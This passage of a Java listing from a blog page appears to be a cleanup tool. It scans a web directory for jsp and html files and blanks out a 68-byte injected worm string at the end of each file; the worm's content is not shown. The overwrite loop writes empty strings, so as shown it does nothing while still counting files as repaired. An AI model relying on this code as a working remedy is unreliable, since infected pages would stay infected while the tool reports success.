<img id="Codehighlighter1_298_718_Open_Image" onclick="this.style.display='none'; Codehighlighter1_298_718_Open_Text.style.display='none'; Codehighlighter1_298_718_Closed_Image.style.display='inline'; Codehighlighter1_298_718_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_298_718_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_298_718_Closed_Text.style.display='none'; Codehighlighter1_298_718_Open_Image.style.display='inline'; Codehighlighter1_298_718_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span id="Codehighlighter1_298_718_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_298_718_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RandomAccessFile&nbsp;r&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">new</span><span style="color: #000000">&nbsp;RandomAccessFile(page,&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">rw</span><span style="color: #000000">"</span><span style="color: #000000">);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">if</span><span style="color: #000000">&nbsp;(r.length()&nbsp;</span><span style="color: #000000">&lt;</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">68</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">return</span><span style="color: #000000">;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r.seek(r.length()&nbsp;</span><span style="color: #000000">-</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">68</span><span style="color: #000000">);</span><span style="color: #008000">//</span><span style="color: #008000">跳到最后一行</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;shit&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;r.readLine();<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">if</span><span style="color: #000000">&nbsp;(shit.equals(worm))<br />
<img id="Codehighlighter1_490_714_Open_Image" onclick="this.style.display='none'; Codehighlighter1_490_714_Open_Text.style.display='none'; Codehighlighter1_490_714_Closed_Image.style.display='inline'; Codehighlighter1_490_714_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_490_714_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_490_714_Closed_Text.style.display='none'; Codehighlighter1_490_714_Open_Image.style.display='inline'; Codehighlighter1_490_714_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span id="Codehighlighter1_490_714_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_490_714_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">System.out.println("shit&nbsp;content:"+shit);</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.out.println(</span><span style="color: #000000">"</span><span style="color: #000000">修复损坏文件：</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">+</span><span style="color: #000000">&nbsp;page.getPath());<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r.seek(r.length()&nbsp;</span><span style="color: #000000">-</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">68</span><span style="color: #000000">);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">for</span><span style="color: #000000">&nbsp;(</span><span style="color: #0000ff">int</span><span style="color: #000000">&nbsp;i&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">0</span><span style="color: #000000">;&nbsp;i&nbsp;</span><span style="color: #000000">&lt;</span><span style="color: #000000">&nbsp;worm.length();&nbsp;i</span><span style="color: #000000">++</span><span style="color: #000000">)<br />
<img id="Codehighlighter1_669_698_Open_Image" onclick="this.style.display='none'; Codehighlighter1_669_698_Open_Text.style.display='none'; Codehighlighter1_669_698_Closed_Image.style.display='inline'; Codehighlighter1_669_698_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_669_698_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_669_698_Closed_Text.style.display='none'; Codehighlighter1_669_698_Open_Image.style.display='inline'; Codehighlighter1_669_698_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span id="Codehighlighter1_669_698_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_669_698_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r.writeBytes(</span><span style="color: #000000">""</span><span style="color: #000000">);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;num</span><span style="color: #000000">++</span><span style="color: #000000">;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">catch</span><span style="color: #000000">&nbsp;(Exception&nbsp;e)<br />
<img id="Codehighlighter1_744_772_Open_Image" onclick="this.style.display='none'; Codehighlighter1_744_772_Open_Text.style.display='none'; Codehighlighter1_744_772_Closed_Image.style.display='inline'; Codehighlighter1_744_772_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_744_772_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_744_772_Closed_Text.style.display='none'; Codehighlighter1_744_772_Open_Image.style.display='inline'; Codehighlighter1_744_772_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span id="Codehighlighter1_744_772_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_744_772_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;e.printStackTrace();<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">public</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">void</span><span style="color: #000000">&nbsp;doDir(File&nbsp;dir)<br />
<img id="Codehighlighter1_808_1203_Open_Image" onclick="this.style.display='none'; Codehighlighter1_808_1203_Open_Text.style.display='none'; Codehighlighter1_808_1203_Closed_Image.style.display='inline'; Codehighlighter1_808_1203_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_808_1203_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_808_1203_Closed_Text.style.display='none'; Codehighlighter1_808_1203_Open_Image.style.display='inline'; Codehighlighter1_808_1203_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span id="Codehighlighter1_808_1203_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_808_1203_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">if</span><span style="color: #000000">&nbsp;(dir.canRead())<br />
<img id="Codehighlighter1_833_1200_Open_Image" onclick="this.style.display='none'; Codehighlighter1_833_1200_Open_Text.style.display='none'; Codehighlighter1_833_1200_Closed_Image.style.display='inline'; Codehighlighter1_833_1200_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_833_1200_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_833_1200_Closed_Text.style.display='none'; Codehighlighter1_833_1200_Open_Image.style.display='inline'; Codehighlighter1_833_1200_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span id="Codehighlighter1_833_1200_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_833_1200_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">if</span><span style="color: #000000">&nbsp;(dir.isDirectory())<br />
<img id="Codehighlighter1_864_1038_Open_Image" onclick="this.style.display='none'; Codehighlighter1_864_1038_Open_Text.style.display='none'; Codehighlighter1_864_1038_Closed_Image.style.display='inline'; Codehighlighter1_864_1038_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_864_1038_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_864_1038_Closed_Text.style.display='none'; Codehighlighter1_864_1038_Open_Image.style.display='inline'; Codehighlighter1_864_1038_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span id="Codehighlighter1_864_1038_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_864_1038_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String[]&nbsp;files&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;dir.list();<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">if</span><span style="color: #000000">&nbsp;(files&nbsp;</span><span style="color: #000000">!=</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">null</span><span style="color: #000000">)<br />
<img id="Codehighlighter1_926_1033_Open_Image" onclick="this.style.display='none'; Codehighlighter1_926_1033_Open_Text.style.display='none'; Codehighlighter1_926_1033_Closed_Image.style.display='inline'; Codehighlighter1_926_1033_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_926_1033_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_926_1033_Closed_Text.style.display='none'; Codehighlighter1_926_1033_Open_Image.style.display='inline'; Codehighlighter1_926_1033_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span id="Codehighlighter1_926_1033_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_926_1033_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">for</span><span style="color: #000000">&nbsp;(</span><span style="color: #0000ff">int</span><span style="color: #000000">&nbsp;i&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">0</span><span style="color: #000000">;&nbsp;i&nbsp;</span><span style="color: #000000">&lt;</span><span style="color: #000000">&nbsp;files.length;&nbsp;i</span><span style="color: #000000">++</span><span style="color: #000000">)<br />
<img id="Codehighlighter1_977_1027_Open_Image" onclick="this.style.display='none'; Codehighlighter1_977_1027_Open_Text.style.display='none'; Codehighlighter1_977_1027_Closed_Image.style.display='inline'; Codehighlighter1_977_1027_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_977_1027_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_977_1027_Closed_Text.style.display='none'; Codehighlighter1_977_1027_Open_Image.style.display='inline'; Codehighlighter1_977_1027_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span id="Codehighlighter1_977_1027_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_977_1027_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;doDir(</span><span style="color: #0000ff">new</span><span style="color: #000000">&nbsp;File(dir,&nbsp;files[i]));</span><span style="color: #008000">//</span><span style="color: #008000">&nbsp;递归</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">else</span><span style="color: #000000"><br />
<img id="Codehighlighter1_1051_1196_Open_Image" onclick="this.style.display='none'; Codehighlighter1_1051_1196_Open_Text.style.display='none'; Codehighlighter1_1051_1196_Closed_Image.style.display='inline'; Codehighlighter1_1051_1196_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_1051_1196_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_1051_1196_Closed_Text.style.display='none'; Codehighlighter1_1051_1196_Open_Image.style.display='inline'; Codehighlighter1_1051_1196_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span id="Codehighlighter1_1051_1196_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_1051_1196_Open_Text"><span style="color: #000000">{</span><span style="color: #008000">//</span><span style="color: #008000">&nbsp;is&nbsp;File</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;name&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;dir.getName();<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">if</span><span style="color: #000000">&nbsp;(name.endsWith(</span><span style="color: #000000">"</span><span style="color: #000000">jsp</span><span style="color: #000000">"</span><span style="color: #000000">)&nbsp;</span><span style="color: #000000">||</span><span style="color: #000000">&nbsp;name.endsWith(</span><span style="color: #000000">"</span><span style="color: #000000">html</span><span style="color: #000000">"</span><span style="color: #000000">)&nbsp;</span><span style="color: #000000">||</span><span style="color: #000000">&nbsp;name.endsWith(</span><span style="color: #000000">"</span><span style="color: #000000">htm</span><span style="color: #000000">"</span><span style="color: #000000">))<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;repair(dir);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">public</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">static</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">void</span><span style="color: #000000">&nbsp;main(String[]&nbsp;args)<br />
<img id="Codehighlighter1_1247_1426_Open_Image" onclick="this.style.display='none'; Codehighlighter1_1247_1426_Open_Text.style.display='none'; Codehighlighter1_1247_1426_Closed_Image.style.display='inline'; Codehighlighter1_1247_1426_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_1247_1426_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_1247_1426_Closed_Text.style.display='none'; Codehighlighter1_1247_1426_Open_Image.style.display='inline'; Codehighlighter1_1247_1426_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span id="Codehighlighter1_1247_1426_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_1247_1426_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;File&nbsp;dir&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">new</span><span style="color: #000000">&nbsp;File(</span><span style="color: #000000">"</span><span style="color: #000000">E://program//guizhou//09检试源码//web//</span><span style="color: #000000">"</span><span style="color: #000000">);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RepairPage&nbsp;repair&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">new</span><span style="color: #000000">&nbsp;RepairPage();<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;repair.doDir(dir);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.out.println(</span><span style="color: #000000">"</span><span style="color: #000000">修复成功完成,修复文件数：</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">+</span><span style="color: #000000">&nbsp;repair.num);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedBlockEnd.gif" align="top"  alt="" />}</span></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span></div>
